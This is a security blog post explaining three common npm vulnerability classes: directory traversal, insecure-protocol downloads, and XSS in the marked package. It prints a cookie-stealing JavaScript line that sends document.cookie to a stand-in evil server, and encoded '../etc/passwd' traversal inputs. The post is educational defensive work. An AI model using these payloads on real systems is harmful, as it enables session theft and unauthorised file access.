This year, Snyk and Cloud Foundry are working together to provide monthly posts focused on helping you stay more secure. This is the third installment. Read the first, second and third posts as well.
In my last post, I covered some of the most common types of vulnerabilities for two of the main ecosystems we track in our vulnerability database, namely Maven and npm.
I promised that I would follow up on that post to look into the key vulnerabilities in more depth for each of the key ecosystems, and this post will focus on npm. We can see from our State of the Open Source Security Report that we released in late 2017 that npm is by far the fastest growing ecosystem by percentage of packages indexed year to year.
This amazing statistic coupled with the fact that the number of npm packages downloaded per day is increasing at an even faster rate shows the importance security plays in this explosion of open source usage.
The 6 most common vulnerabilities that exist in the npm ecosystem, as indicated by the Snyk vulnerability database, are listed below.
- Directory Traversal
- Resources Downloaded over Insecure Protocol
- Cross-Site Scripting (XSS)
- Malicious Packages
- Regular Expression Denial of Service (ReDoS)
- Arbitrary Code Injection
In this post, we’ll focus on the first three. Most of the examples shown will affect the npm eco-system, although there are some exploits that exist outside of npm that are also interesting enough to mention as we go.
Directory Traversal
We’ll start with directory traversal, a common vulnerability on its own but, in the npm ecosystem, the most common vulnerability we’ve seen. The premise of this vulnerability is as follows: an attacker can traverse the directory structure on a system such that they can gain access to parts of the file system outside of the target folder in which they should reside. This could happen on both the server side or client side and can lead to unintentional or sensitive files being read, written, overwritten.
Let’s look at a couple of examples, starting with an interesting directory traversal vulnerability found in-house by our security team whereby it’s possible to attack an FTP client via directory traversal. The FTP protocol itself does not offer a download folder command, but we can combine several other commands to achieve this same functionality. An example code snippet that does just this that was vulnerable in Apache Hive is shown below.
async downloadDir(localDirPath) { await ensureLocalDirectory(localDirPath); for (const file of await this.list()) { const localPath = path.join(localDirPath, file.name); if (file.isDirectory) { await this.cd(file.name); await this.downloadDir(localPath); await this.send("CDUP"); } else { const writable = fs.createWriteStream(localPath); await this.download(writable, file.name); } } }
The code above iterates over each file returned by the server, and downloads it into a local destination folder. For example, if the first file in the remote folder is named passwd
, and our local destination folder is /var/data/sync/
, we’d end up downloading the file to /var/data/sync/passwd
. If the FTP server turns malicious, and responded to the LIST command with ../../../../etc/passwd
as the filename, the code above will end up placing the passwd
file into the /etc
directory, overwriting the existing /etc/passwd
with the newly downloaded file. This could have been avoided if the code included input validation on the response from aFile.getName()
.
This example was particularly interesting as it’s a server attacking a client. Now let’s take a look at a far more common directory traversal example, such as a vulnerability in the st package (a node library that serves static files) that a user would exploit on a server. This is an example that understood the threat posed by directory traversal , but didn’t fully protect against it. Versions prior to 0.2.5 didn’t allow dots in a path to successfully change up to the parent directory, but dots can be url encoded and this was not taken account of. Thus, a request like ../../../etc/passwd
can equally be represented as %2e%2e/%2e%2e/%2e%2e/etc/passwd
. Both of these strings have the exact same impact when used, but the st package only guards against the unencoded ../
attack. As a result, you can send a server a request to serve up static content from anywhere to which the server process has access.
Resources Downloaded over Insecure Protocol
This is a fairly self explanatory vulnerability and exists for example when a resource was fetched using HTTP instead of HTTPS. By using an insecure connection, it’s possible for an attacker to intercept the connection and perform what is referred to as a man-in-the-middle attack. The resources downloaded over insecure protocol is a specific type of MITM attack, so let’s first look at the vulnerability in its more general form.
An MITM attack occurs when two parties who are interacting over an insecure connection are sending content through a third party unbeknown to either party. The third party intercepts messages that are being sent each way and can choose whether to just snoop or alter the content being sent. Snooping occurs when the third party accesses the content being sent in a read-only fashion, allowing them to gather information about the senders and their environments. They might perhaps get access to public keys and other sensitive data. Other forms of MITH attacks include SSLStrip and ARP Hijacking. Some hacks also include simple hardware to mimic the back end, like News Tweek.
The more malicious way a third party could interact in an MITM attack is by altering the payload. This is typical of a Resources Downloaded over Insecure Protocol attack. An attacker would be able to substitute the resource one party is trying to download with a file that could then execute remote code, or gather data back from your system. A good attacker would ensure that the file that is being downloaded will very closely mimic the original file such that the party that downloaded it would continue to read or execute the resource on their system. This resource could then gather information about the system or even execute malicious code on the system.
Examples of packages that have been affected by the Resources Downloaded over insecure protocol include Chromedriver and Cordova.
Cross-Site Scripting (XSS)
One of the most commonly known vulnerabilities is XSS. That doesn’t mean it’s any less prevalent among libraries though. It’s third on the npm list of most common vulnerabilities and appears to be on the increase, according to data from Akamai’s State of the Internet Security Report.
The basic premise of an XSS attack is that an attacker tricks a user’s browser into executing malicious JavaScript code in the victim’s own environment. There are a number of tricks that can be played to steal session cookies for the domain, retrieve typed password or credit cards, scrape or modify its content, and perform or modify actions on the user’s behalf.
Let’s walk through an actual example with the marked npm package that parses markdown and converts it into HTML. Markdown does not support simply adding scripts directly, but it does allow to add HTML inline. The inline HTML can include <script>
tags, which can be used by attackers to inject malicious scripts. Since marked is often used to render user input back to the page, its authors added a security option to overcome this case. The package supports a sanitize option, which detects HTML and dangerous input and encodes or removes it. While sanitize is turned off by default, you can turn it on in your app.
Markdown supports links, which creates the potential for javascript links, such as javascript:alert(1)
), when these javascript links carry malicious code. A javascript sample that doesn’t just raise an alert dialog might be the following:
document.write('<img src="https://simonevilserver.com/collect.gif?cookie=' + document.cookie + '" />')
This would collect the session cookie information and send it to an evil server from which the data can be stolen. Markdown does have a sanitize function that is aware of this and removes links that start with javascript:
. It even removes links that use the colon HTML entity, : (e.g. javascript:alert(1)
). There is one case it does miss though, which we cover on the Snyk blog in more detail!